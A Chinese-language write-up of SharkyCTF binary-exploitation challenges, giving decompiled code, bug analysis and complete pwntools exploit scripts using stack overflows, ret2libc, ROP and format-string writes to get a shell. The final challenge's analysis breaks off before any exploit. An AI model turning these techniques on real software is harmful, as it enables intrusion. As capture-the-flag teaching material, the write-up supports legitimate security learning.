【WriteUp】SharkyCTF -- Pwn 题解

这几天忙着搭 CTFd 环境,搭得心态爆炸

Give away 0

Description:

Home sweet home.

Creator: Hackhim

nc sharkyctf.xyz 20333

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_buffering();
  vuln();
  return 0;
}

init_buffering 函数如下:

int init_buffering()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

vuln 函数如下:

char *vuln()
{
  char s; // [rsp+0h] [rbp-20h]

  return fgets(&s, 50, stdin);
}

还有个后门:win_func 函数

int win_func()
{
  return execve("/bin/sh", 0LL, 0LL);
}

随便打,入门题

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('sharkyctf.xyz', 20333)
elf = ELF('./chall', checksec=False)
addr_win_func = elf.sym['win_func']

pd = 'a' * 0x28
pd += p64(addr_win_func)
p.sendline(pd)
p.interactive()

Flag:

shkCTF{#Fr33_fL4g!!_<3}

Give away 1

Description:

Make good use of this gracious give away.

nc sharkyctf.xyz 20334

Creator: Hackhim

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_buffering(&argc);
  printf("Give away: %p\n", &system);
  vuln();
  return 0;
}

init_buffering 函数如下:

int init_buffering()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}

vuln 函数如下:

char *vuln()
{
  char s; // [esp+8h] [ebp-20h]

  return fgets(&s, 50, stdin);
}

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('sharkyctf.xyz', 20334)
libc = ELF('./libc-2.27.so', checksec=False)

p.recvuntil('Give away: ')
addr_system = int(p.recvuntil('\n')[:-1], 16)
libcbase = addr_system - libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x24
pd += p32(addr_system)
pd += p32(addr_system)
pd += p32(addr_bin_sh)
p.sendline(pd)
p.interactive()

Flag:

shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}

Give away 2

Description:

Make good use of this gracious give away.

nc sharkyctf.xyz 20335

Creator: Hackhim

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_buffering();
  printf("Give away: %p\n", main);
  vuln();
  return 0;
}

init_buffering 函数如下:





vuln 函数如下:

char *vuln()
{
  char s; // [rsp+0h] [rbp-20h]

  return fgets(&s, 128, stdin);
}

ret2libc 题型,随便打

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('sharkyctf.xyz', 20335)
    libc = ELF('./libc-2.27.so', checksec=False)
elf = ELF('./chall', checksec=False)

# gdb.attach(p, "b *$rebase(0x863)\nc")
p.recvuntil('Give away: ')
addr_main = int(p.recvuntil('\n')[:-1], 16)
mainbase = addr_main - elf.sym['main']
plt_printf = mainbase + elf.plt['printf']
got_printf = mainbase + elf.got['printf']
addr_vuln = mainbase + elf.sym['vuln']
rop1 = mainbase + 0x0000000000000903  # pop rdi ; ret

pd = 'a' * 0x28
pd += p64(rop1 + 1)
pd += p64(rop1)
pd += p64(got_printf)
pd += p64(plt_printf)
pd += p64(addr_vuln)
p.sendline(pd)

addr_printf = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_printf - libc.sym['printf']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x28
pd += p64(rop1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendline(pd)
p.interactive()

Flag:

shkCTF{It's_time_to_get_down_to_business}

Captain Hook

Description:

Find a way to pop a shell.

nc sharkyctf.xyz 20336

Creator: Hackhim

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  v5 = __readfsqword(0x28u);
  init_buffering();
  print_commands();
  LODWORD(v4) = 0;
  while ( v4 <= 39 )
  {
    printf("peterpan@pwnuser:~$ ", v4, v5);
    HIDWORD(v4) = read_user_int();
    switch ( &savedregs )
    {
      case 0u:
        print_commands();
        break;
      case 1u:
        list_characters();
        break;
      case 2u:
        lock_up_character();
        break;
      case 3u:
        read_character_infos();
        break;
      case 4u:
        edit_character();
        break;
      case 5u:
        free_character();
        break;
      case 6u:
        quit();
        return result;
      default:
        puts("\n[!] Invalid command. Enter '0' for available commands.\n");
        break;
    }
    LODWORD(v4) = v4 + 1;
  }
  return 0;
}

init_buffering 函数如下:

unsigned __int64 init_buffering()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return __readfsqword(0x28u) ^ v0;
}

print_commands 函数如下:

unsigned __int64 print_commands()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  puts(
    "\n"
    "==Commands========\n"
    " 1 -> List all characters\n"
    " 2 -> Lock up a new character\n"
    " 3 -> Read character infos\n"
    " 4 -> Edit character infos\n"
    " 5 -> Free a character\n"
    " 6 -> Quit\n"
    "==================\n");
  return __readfsqword(0x28u) ^ v0;
}

read_user_int 函数如下:

__int64 read_user_int()
{
  char s; // [rsp+Fh] [rbp-11h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fgets(&s, 8, stdin);
  return atoi(&s);
}

list_characters 函数如下:

unsigned __int64 list_characters()
{
  signed int i; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 3; ++i )
  {
    if ( jail[i] )
      printf(" [%2d]: %s, %d\n", i, jail[i], *(jail[i] + 32LL));
    else
      printf(" [%2d]: ------\n", i);
  }
  return __readfsqword(0x28u) ^ v2;
}

这个 list 函数没啥用

lock_up_character 函数如下:

unsigned __int64 lock_up_character()
{
  _BYTE v1[12]; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(" [ Character index ]: ");
  *v1 = read_user_int();
  if ( *v1 < 0 || *v1 > 3 || jail[*v1] )
  {
    puts("  [!] Invalid index.");
  }
  else
  {
    *&v1[4] = malloc(0x44uLL);
    if ( !*&v1[4] )
      exit(-1);
    puts(" [ Character ]");
    printf("  Name: ");
    read_user_str(*&v1[4], 31);
    printf("  Age: ", 31LL);
    *(*&v1[4] + 32LL) = read_user_int();
    printf("  Date (mm/dd/yyyy): ");
    read_user_str((*&v1[4] + 36LL), 11);
    jail[*v1] = *&v1[4];
  }
  return __readfsqword(0x28u) ^ v2;
}

read_user_str 函数如下:

unsigned __int64 __fastcall read_user_str(char *a1, int a2)
{
  char *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(a1, a2, stdin);
  v3 = strchr(a1, 10);
  if ( v3 )
    *v3 = 0;
  return __readfsqword(0x28u) ^ v4;
}

read_character_infos 函数如下:

unsigned __int64 read_character_infos()
{
  __int64 v1; // [rsp+0h] [rbp-40h]
  char *src; // [rsp+8h] [rbp-38h]
  char dest; // [rsp+10h] [rbp-30h]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf(" [ Character index ]: ");
  LODWORD(v1) = read_user_int();
  if ( v1 >= 0 && v1 <= 3 && jail[v1] )
  {
    src = jail[v1];
    strncpy(&dest, jail[v1], 0x20uLL);
    printf("Character name: %s\n", &dest, v1);
    printf("Age: %d\n", *(src + 8));
    strncpy(&dest, src + 36, 0x20uLL);
    printf("He's been locked up on ", src + 36);
    if ( check_date_format((src + 36)) )
      printf(src + 36);
    else
      printf("an invalid date.");
    puts(".");
  }
  else
  {
    puts("  [!] Invalid index.");
  }
  return __readfsqword(0x28u) ^ v4;
}

格式化字符串漏洞函数

check_date_format 函数如下:

signed __int64 __fastcall check_date_format(__int64 a1)
{
  signed int i; // [rsp+14h] [rbp-Ch]

  for ( i = 0; i <= 9; ++i )
  {
    if ( i == 2 || i == 5 )
    {
      if ( *(i + a1) != 47 )
        return 0LL;
    }
    else if ( *(i + a1) <= 47 || *(i + a1) > 57 )
    {
      return 0LL;
    }
  }
  return 1LL;
}

edit_character 函数如下:

unsigned __int64 edit_character()
{
  __int64 v1; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+4h] [rbp-3Ch]
  char *s1; // [rsp+8h] [rbp-38h]
  char s2; // [rsp+10h] [rbp-30h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf(" [ Character index ]: ");
  LODWORD(v1) = read_user_int();
  if ( v1 >= 0 && v1 <= 3 && jail[v1] )
  {
    s1 = jail[v1];
    puts(" [ Character ]");
    printf("  Name: ", v1);
    read_user_str(&s2, 0x7F);
    if ( strcmp(s1, &s2) )
      strncpy(s1, &s2, 0x20uLL);
    printf("  Age: ", &s2);
    v2 = read_user_int();
    if ( *(s1 + 8) != v2 )
      *(s1 + 8) = v2;
    printf("  Date (mm/dd/yyyy): ");
    read(0, &s2, 0xAuLL);
    if ( strcmp(s1 + 0x24, &s2) )
      strncpy(s1 + 0x24, &s2, 0x20uLL);
  }
  else
  {
    puts("  [!] Invalid index.");
  }
  return __readfsqword(0x28u) ^ v5;
}

有变量覆盖漏洞

free_character 函数如下:

unsigned __int64 free_character()
{
  __int64 v1; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(" [ Character index ]: ");
  v1 = read_user_int();
  if ( v1 >= 0 && v1 <= 3 && jail[v1] )
  {
    free(jail[v1]);
    jail[v1] = 0LL;
  }
  else
  {
    puts("  [!] Invalid index.");
  }
  return __readfsqword(0x28u) ^ v2;
}

没洞,没啥用

quit 函数如下:

void __noreturn quit()
{
  puts("Have a nice day !");
  exit(0);
}

解题思路:

可以看到 read_character_infos 函数里有格式化字符串漏洞,而且只能构造在一个完整日期的后面

例如:11/11/1111%p,但是我们看到,无论是 lock_up_character 函数还是 read_character_infos 函数,在输入日期的时候都不能超过 0xb 个数

也就是说连一个 %p 都构造不出来,往前看能看到 read_character_infos 函数中有这样一个代码read_user_str(&s2, 0x7F);也就是说可以构造变量覆盖漏洞

利用输入 name 的漏洞函数,将字符串覆盖到日期,并在后面构造格式化字符串的漏洞代码即可

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('sharkyctf.xyz', 20336)
    libc = ELF('./libc-2.27.so', checksec=False)
elf = ELF('./chall', checksec=False)


def add(add_idx, add_name, add_age, add_date):
    p.sendlineafter('~$ ', '2')
    p.sendlineafter('dex ]: ', str(add_idx))
    p.sendlineafter(' Name: ', add_name)
    p.sendlineafter('  Age: ', add_age)
    p.sendlineafter('yyyy): ', add_date)


def show(show_idx):
    p.sendlineafter('~$ ', '3')
    p.sendlineafter('dex ]: ', str(show_idx))
    p.recvuntil('11/11/1111')


def edit(edit_idx, edit_name, edit_age, edit_date):
    p.sendlineafter('~$ ', '4')
    p.sendlineafter('dex ]: ', str(edit_idx))
    p.sendlineafter(' Name: ', edit_name)
    p.sendlineafter('  Age: ', edit_age)
    p.sendlineafter('yyyy): ', edit_date)


libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
add(0, 'a', '2', 'a')
pd = 'a' * 0xa
pd += '%19$p'
edit(0, pd, '2', '11/11/1111')
show(0)

addr___libc_start_main = int(p.recv(14), 16) - 231
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_one_gadget = libcbase + libc_one_gadget[0]

pd = 'a' * 0xa
pd += '%14$p'
edit(0, pd, '2', '11/11/1111')
show(0)
addr_stack = int(p.recv(14), 16)

pd = 'a' * 0xa
pd += '%' + str((addr_stack & 0xffff) + 0x8 - 0xa) + 'c%21$hn'
edit(0, pd, '2', '11/11/1111')
show(0)

pd = 'a' * 0xa
pd += '%' + str((addr_one_gadget & 0xffff) - 0xa) + 'c%47$hn'
edit(0, pd, '2', '11/11/1111')
show(0)

pd = 'a' * 0xa
pd += '%' + str((addr_stack & 0xff) + 0xa - 0xa) + 'c%21$hhn'
edit(0, pd, '2', '11/11/1111')
show(0)

pd = 'a' * 0xa
pd += '%' + str((addr_one_gadget >> 16 & 0xff) - 0xa) + 'c%47$hhn'
edit(0, pd, '2', '11/11/1111')
show(0)

for i in range(0, 21):
    p.sendlineafter('~$ ', '9')
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr___free_hook       = ' + hex(addr___free_hook))
success('addr_one_gadget        = ' + hex(addr_one_gadget))
success('addr_stack             = ' + hex(addr_stack))
p.interactive()

Flag:

shkCTF{I_R34lly_l0ve_fr33_H0Ok_m4n}

K1k00 4 3v3r

Description:

I have a theory that anyone who spends most of their time on the internet, and has virtual friends, or not, knows at least one kikoo in their entourage. "Kikoo: A young teenager or child who uses text messaging, making numerous spelling mistakes, sometimes behaving immaturely, aggressively, vulgarly, rude, even violent, especially on the internet." - wiktionary.org That's the definition I found on wiktionary.org, but I think being a kikoo is not that pejorative, I also think you can be a kikoo no matter how old you are. Being a kikoo is having a different mentality, it's having a different humor, it's having different hobbies, being a kikoo is mostly an internet lover.

After reading these few lines, and that no one has come to mind, it's that there must be a problem, if there is, we'll fix it immediately. Don't worry, I'm going to teach you how to identify a kikoo, they have very characteristic behaviours, and that's what we're going to see in a moment. Start by running the program, then listen to my instructions…

nc sharkyctf.xyz 20337

Creator: Hackhim

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//gcc -O0 -Wl,-z,relro,-z,now -fno-stack-protector-all -o ../ressources/kikoo_4_ever kikoo_4_ever.c

#define REGLE_BUF_SIZE 512
#define LIEUX_BUF_SIZE 48
#define ARRAY_SIZE 100
#define TINY_ARRAY_SIZE 5

typedef struct regle{
  char regle[REGLE_BUF_SIZE];
  int locked;
}Regle;

typedef struct lieux{
  char nom[LIEUX_BUF_SIZE];
  int visite;
  char initiale;
}Lieux;

typedef struct kikoos_observe{
  char pseudos[10][32];
  char observations[10][128];
  int n_observation;
}Kikoos_observe;

Regle *les_regles_du_kikoo[ARRAY_SIZE];
Lieux les_lieux_du_kikoo[TINY_ARRAY_SIZE];
Kikoos_observe kikoos_observe;

int read_user_int(){
	char buf[9];
	int i;

	fgets(buf, 8, stdin);
	i = atoi(buf);

	return i;
}

void read_user_str(char* s, int size){
	char *ptr = NULL;
	read(0, s, size);
	ptr = strchr(s, '\n');
	if(ptr != NULL)
		*ptr = 0;
  //Si il y a pas de \n c'est qu'il a rempli le buffer au max du max, enfin j'crois
  else
    s[size] = 0;
}


int get_free_index(void **tab){
  for(int i = 0 ; i < ARRAY_SIZE ; i++){
    if(tab[i] == NULL)
      return i;
  }
  return -1;
}

void ajouter_observation(char *pseudo, char *observation){
  strncpy(kikoos_observe.pseudos[kikoos_observe.n_observation], pseudo, 32);
  strncpy(kikoos_observe.observations[kikoos_observe.n_observation], observation, 128);
  kikoos_observe.n_observation++;
}

void lire_observations(){
  if(kikoos_observe.n_observation <= 0){
    puts("No interesting observations at this time.");
    return;
  }


  for(int i = 0 ; i < kikoos_observe.n_observation ; i++){
    printf("Observation n°%d:\n\tNickname: %s\n\tNote: %s\n", (i+1), kikoos_observe.pseudos[i], kikoos_observe.observations[i]);

  }
}

void creer_lieux(int i, char *nom, int visite, char initiale){
  Lieux *lieux;

  lieux = &les_lieux_du_kikoo[i];

  memcpy(lieux->nom, nom, LIEUX_BUF_SIZE);
  lieux->visite = visite;
  lieux->initiale = initiale;
}

Regle* creer_regle(char *str_regle, int locked){
  Regle *regle = NULL;
  int i = -1;

  i = get_free_index((void**)les_regles_du_kikoo);
  if(i == -1){
    puts("The list of rules is full.");
    return NULL;
  }

  regle = malloc(sizeof(Regle));
  if(regle == NULL){
    return NULL;
  }

  memcpy(regle->regle, str_regle, REGLE_BUF_SIZE);
  regle->locked = locked;

  les_regles_du_kikoo[i] = regle;
  return regle;
}

void ecrire_regle(){
  char buf[REGLE_BUF_SIZE];
  int i;
  char go_on[8] = "n";
  Regle *regle = NULL;

  if(kikoos_observe.n_observation == 0){
    puts("What are you going to write? We haven't found anything interesting yet.");
    puts("Let's go find some kikoo.");
    return;
  }

  i = get_free_index((void**)les_regles_du_kikoo);
  if(i == -1){
    puts("The list of rules is full.");
    return;
  }

  puts("\nMake me dream, what's that rule?");
  do{
    printf("Rule n°%d: ", (i+1));
    read_user_str(buf, REGLE_BUF_SIZE+0x10);
    printf("Read back what you just wrote:\n%s\n", buf);
    printf("Is it ok? Shall we move on? (y/n)");
    read_user_str(go_on, 4);
  }while(go_on[0] != 'y');

  regle = creer_regle(buf, 1);
  les_regles_du_kikoo[i] = regle;
}

void init_buffering(){
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
}



void scenario_j(){
  puts("\nOkay, I think I got what we need.");
  puts("Topic: [Recherche] Pseudo stylé :D *clic*");
  puts("\nWell, let's see..");
  sleep(3);

  puts("\n------------------------------------------------");
  puts("x_Skipix_x\n29 septembre 2011 à 11:09:54");
  puts("HELP ME FAITES MOI DON D 1 NOM PR JE VIVE :)");
  puts("------------------------------------------------");

  puts("\n------------------------------------------------");
  puts("x_Skipix_x\n29 septembre 2011 à 11:11:24");
  puts("j'ai trouvé Qabutox mais je trouve sa fait un peu trop pokemon ^.^");
  puts("------------------------------------------------");

  puts("\n------------------------------------------------");
  puts("Buffd0ver_flow\n29 septembre 2011 à 11:13:07");
  puts("Shape, trouver en 2.4 sec Pseudo style :sunglasses: Swyfter sinan");
  puts("------------------------------------------------");

  puts("\n------------------------------------------------");
  puts("jer75emy\n29 septembre 2011 à 11:16:48");
  puts("Qabutox je trouve c'est un peu gamin. Mais Swyfter ça me plait.");
  puts("------------------------------------------------");


  puts("\nThat's interesting, but it's not enough.");
  ajouter_observation("jer75emy", "Mature Kikoo");
  puts("\n [+] A new observation has been added to your notebook.");
  puts("\nLet's look for a juicier topic.");
  puts("\nOn the Minecraft forum... Topic: [Serveur Minecraft] Pvp - faction *clic*");
  puts("\nSo what does it say on this topic...");
  sleep(3);

  puts("\n------------------------------------------------");
  puts("Kankan776\n25 septembre 2012 à 15:35:41");
  puts("Slt tout le monde ! Jvous presente mon serveur Minecraft pvp-faction ! Cest un serveur 6 slots ...");
  puts("------------------------------------------------");

  puts("\n------------------------------------------------");
  puts("Kankan776\n2 octobre 2012 à 11:05:59");
  puts("Le serv viens de passer à 15 slots ! Le nouvel ip: onsefousurlagueule.turboserv.eu");
  puts("------------------------------------------------");


  puts("\nI like that. I don't know why, but his nickname sounds familiar... :thinking:");

  ajouter_observation("Kankan776", "High level Kikoo, owner of a minecraft pvp faction server.");
  puts("\n [+] A new observation has been added to your notebook.");
  sleep(3);
}

void scenario_y(){
  int time_usleep = 300000;

  puts("\nAll right, let's see what we can find interesting.");
  puts("Here, this looks like fun. *clic*\n");
  sleep(3);

  puts("*video sound*");
  puts("- Bonjour Michel.");
  puts("- Bonjour Michel ça va ?");
  puts("- Vous m'avez oublié.");
  puts("- J'suis désolé j'étais en pleine partie de \"Qui est ce ?\".");
  puts("Vous savez le jeu où on doit trouver le visage de..");
  puts("- Je sais c'que c'est Michel.. Mais vous jouez avec qui ?");
  puts("- Tout seul. Bon je gagne à chaque fois mais ça m'occupe..");
  puts("*...*");

  puts("\nTwo minutes later...");
  sleep(3);
  puts("\n*...*");
  puts("- Regardez bien..");
  puts("Cette armoire à étagères lui tombe dessus. À première vu on dirait que ..?");
  puts("- Bah que c'est l'armoire d'une marque suédoise très connue, le genre de truc qu'on met 7 heures à monter mais qui se déboite au moindre choc.");
  puts("- Vous vouliez pas citer Ikea c'est ça ?");
  puts("- Oui c'était l'idée heum en effet.");
  puts("- Sauf que celle-ci d'armoire, c'est pas eux, parce que...");
  puts("*...*");

  puts("\nWhat the hell am I doing? We're supposed to be looking for kikoo, let's go look over here...");

  printf("\nSearch Bar: ");
  printf("C"); usleep(time_usleep);
  printf("h"); usleep(time_usleep);
  printf("o"); usleep(time_usleep);
  printf("u"); usleep(time_usleep);
  printf("m"); usleep(time_usleep);
  printf("i"); usleep(time_usleep*2);
  puts(" *Enter*");

  puts("Maybe this video will help us... *clic*");
  sleep(3);
  puts("\n*video sound*");
  puts("- Oh c'est dégeu !");
  puts("HMM! HMMM!");
  puts("*BOUM*");
  puts("*...*");

  puts("\nYeah, well, let's go see the comments.");

  puts("\"Comments are disabled\"");

  puts("\nWell, great..");

  puts("Okay, fuck choumi, I've got a better idea.");

  printf("\nSearch Bar: ");

  printf("T"); usleep(time_usleep);
  printf("k"); usleep(time_usleep);
  printf("7"); usleep(time_usleep);
  printf("7"); usleep(time_usleep*2);
  puts(" *Enter*");

  puts("Let's get the first video. *clic*");
  sleep(3);
  puts("\n*video sound*");
  puts("- Salam les khey, petite vidéo, avant d'entamer le sujet en ce qui concerne jean permanof, JP");
  puts("en ce qui concerne le ddos, j'tenais tout simplement à faire passer un petit message à tous les streamhackers.");
  puts("Allez tous vous faire enculer !");
  puts("*...*");

  puts("\n*Pause*\nShut up. That's the feedback we want.");

  puts("\n\"Force à jp...\", All right..");

  puts("\"Tk tu un grand homme...\", Yeah, okay.\nYoutube may not be the best place to make good observations.");

  puts("\nLet's go somewhere else.");
  sleep(3);
}

void scenario_t(){
  puts("\nSo, what's up with Twitch today?");
  puts("A little Minecraft stream with 11 viewers? Sounds pretty good to me.. *clic*");


  puts("\n*stream sound*");
  puts("- Fais toi une maison en caca on se retrouve demain quand il fera jour.");
  puts("- Aïe ! Y a un archer qui me tape !");
  puts("*...*");
  sleep(3);

  puts("\nSo what's the chatter on this fabulous stream?");

  puts("\n*stream chat*");

  puts("Palagrosdindon: plop la guilde");

  puts("zguegenbronze: psg max");

  puts("Palagrosdindon: si tu bute ton pote j'me sub");

  puts("Kankan776: Omg mais t un trizo");
  puts("*...*");


  puts("\nOkay, now we're getting some good ones. Stay alerted, take note.");
  sleep(3);
  puts("\n*stream sound*");
  puts("- Putin y a un zombie ! AH MAIS NON C'EST TOI !");

  puts("*ourge*");
  puts("*Ding dinG Ding dinG Ding*"); //c'est le bruit de l'xp si tu l'avais pas
  puts("*...*");

  puts("\n\n*stream chat*");
  puts("zguegenbronze: Jme lave le pénis à l'eau bénite");

  puts("Kankan776: T'es qu'un noob de toute facon @Palagrosdindon");

  puts("Kankan776: Ptdrrr comment il est mort");
  puts("Palagrosdindon: ahahahah aller salut");
  puts("*...*");


  puts("\nWe're dealing with a hell of a team. They seem to play by the rules we wrote down..");
  sleep(3);
  ajouter_observation("Kankan776", "This kikoo seems to me to respect several rules of the notebook, to be analyzed in depth.");
  ajouter_observation("zguegenbronze", "High quality Kikoo, not to be approached, very high risk of contamination.");
  ajouter_observation("Palagrosdindon", "Excellent Kikoo troller, beware.");
  puts("\n [+] Three new observations have been added to your notebook.");

}

Lieux* get_lieux(char initiale){
  for(int i = 0 ; i < TINY_ARRAY_SIZE ; i++){
    if(les_lieux_du_kikoo[i].initiale == initiale)
      return &les_lieux_du_kikoo[i];
  }
  return NULL;
}

void lister_les_lieux(){
  for(int i = 0 ; i < TINY_ARRAY_SIZE ; i++){
    if(les_lieux_du_kikoo[i].visite == 1)
      printf("\t#%c : %s\n", les_lieux_du_kikoo[i].initiale, les_lieux_du_kikoo[i].nom);
  }
}

void choisir_lieux(){

  int go_on = 1;
  char choix[8];
  Lieux *lieux = NULL;

  puts("");
  lister_les_lieux();
  puts("Type Q to exit.");
  do{
    printf("> ");
    read_user_str(choix, 4);

    lieux = get_lieux(choix[0]);

    if(choix[0] == 'J' && lieux != NULL && lieux->visite == 1){
      go_on = 0;
      scenario_j();
      lieux->visite = 2;
    }
    else if(choix[0] == 'Y' && lieux != NULL && lieux->visite == 1){
      go_on = 0;
      scenario_y();
      lieux->visite = 2;
    }
    else if(choix[0] == 'T' && lieux != NULL && lieux->visite == 1){
      go_on = 0;
      scenario_t();
      lieux->visite = 2;
    }
    else if(choix[0] == 'Q'){
      go_on = 0;
    }
    else{
      puts("Choice not available.");
    }

  }while(go_on);
}

void lire_les_regles(){

  puts("\nThe Rules of the Holy Kikoo:");
  for(int i = 0 ; i < ARRAY_SIZE && les_regles_du_kikoo[i] != NULL ; i++){
    printf("Rule n°%d: %s\n", (i+1), les_regles_du_kikoo[i]->regle);
  }
}

void introduction(){

  printf(
      "\n\t+---------------------------------------------------------------+\n" \
      "\t| /!\\Warning/!\\                                                 |\n" \
      "\t| The scenarios are based on real facts.                        |\n" \
      "\t| The pseudonyms of the observed kikoos have been modified in   |\n" \
      "\t| order to preserve their anonymity and protect their privacy.  |\n" \
      "\t+---------------------------------------------------------------+\n\t#subtlety\n\n" \
    );
  sleep(3);
  puts("First of all, kikoos are like pokemons. You have to look for them in their natural habitat.\n" \
        "That is, not in the tall grass, but on the internet.");

  lire_les_regles();

  puts("\nThey'll help us identify our first kikoo. I'm not a rocket scientist, so maybe we'll have to add a few rules.\n" \
  "I'm counting on your creativity to help me flesh out my notebook, \"The Rules of the Holy Kikoo.\"");

  puts("I've got a little list of places we could find good kikoo...\n\nWhich one do we start with?");
}

void initialisation(){
  init_buffering();
  creer_regle("A kikoo who has never played Minecraft in his life is not a kikoo.", 1);
  creer_regle("A kikoo has necessarily maintained at least one discussion on the forum jeuxvideo.com.", 1);
  creer_regle("Every self-respecting kikoo has already been banned from an online video game for the reason: Cheat.", 1);
  creer_regle("A kikoo could find his login credentials in database leaks.", 1);
  creer_regle("A kikoo enjoys the annoyance of his friends.", 1);
  creer_lieux(0, "Long-standing topics on jeuxvideo.com.", 1, 'J');
  creer_lieux(1, "Stupid YouTube channels.", 1, 'Y');
  creer_lieux(2, "Minecraft streams on Twitch.", 1, 'T');
  kikoos_observe.n_observation = 0;
}

void choix(){
  printf("\n==What do we do?==\n" \
				 " 1 -> Rereading the rules\n" \
				 " 2 -> Write a rule\n" \
				 " 3 -> We're going hunting\n" \
         " 4 -> View comments\n" \
				 " 9 -> I'm out of here.\n" \
				 "==================\n\n"
	);
}


int main(void){

  char tmp[64];
  int choice;
  int go_on = 1;

  initialisation();
  introduction();
  choisir_lieux();

	while(go_on){
    choix();
		printf("> ");
		choice = read_user_int();

		switch (choice) {
			case 1:
        lire_les_regles();
				break;
			case 2:
        ecrire_regle();
				break;
			case 3:
        choisir_lieux();
				break;
      case 4:
        lire_observations();
  			break;
			case 9:
        go_on = 0;
				break;
			default:
				printf("\nDon't get what you're trying to do, buddy.\n\n");
				break;
		}
	}


  return 0;
}

调试许久后发现这是一道爆破题,因为有函数 ecrire_regle 中有这段代码

read_user_str(buf, REGLE_BUF_SIZE+0x10);read_user_str(buf, 0x210);

导致当输入时若 \n 不在第一位,则 rbp 地址上的值的最后一位会被覆盖成 \x00

最后在进行 leave ; ret 的时候,剩余的 rbp 就会是错误的值

所以要找别的方法退出,不能正常退出这个程序,不然必报 canary 的错

因为必须要泄露 libc 以及 canary 等值,所以必不可能在一开始使用 \n

那么问题就到了如何让程序不以正常方式退出,我们看 ida 里的 main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v4; // [rsp+8h] [rbp-58h]
  __int64 savedregs; // [rsp+60h] [rbp+0h]

  v4 = 1;
  initialisation();
  introduction();
  choisir_lieux();
  while ( v4 )
  {
    choix();
    printf("> ");
    read_user_int();
    switch ( &savedregs )
    {
      case 1u:
        lire_les_regles();
        break;
      case 2u:
        ecrire_regle();
        break;
      case 3u:
        choisir_lieux();
        break;
      case 4u:
        lire_observations();
        break;
      case 9u:
        v4 = 0;
        break;
      default:
        puts("\nDon't get what you're trying to do, buddy.\n");
        break;
    }
  }
  return 0;
}

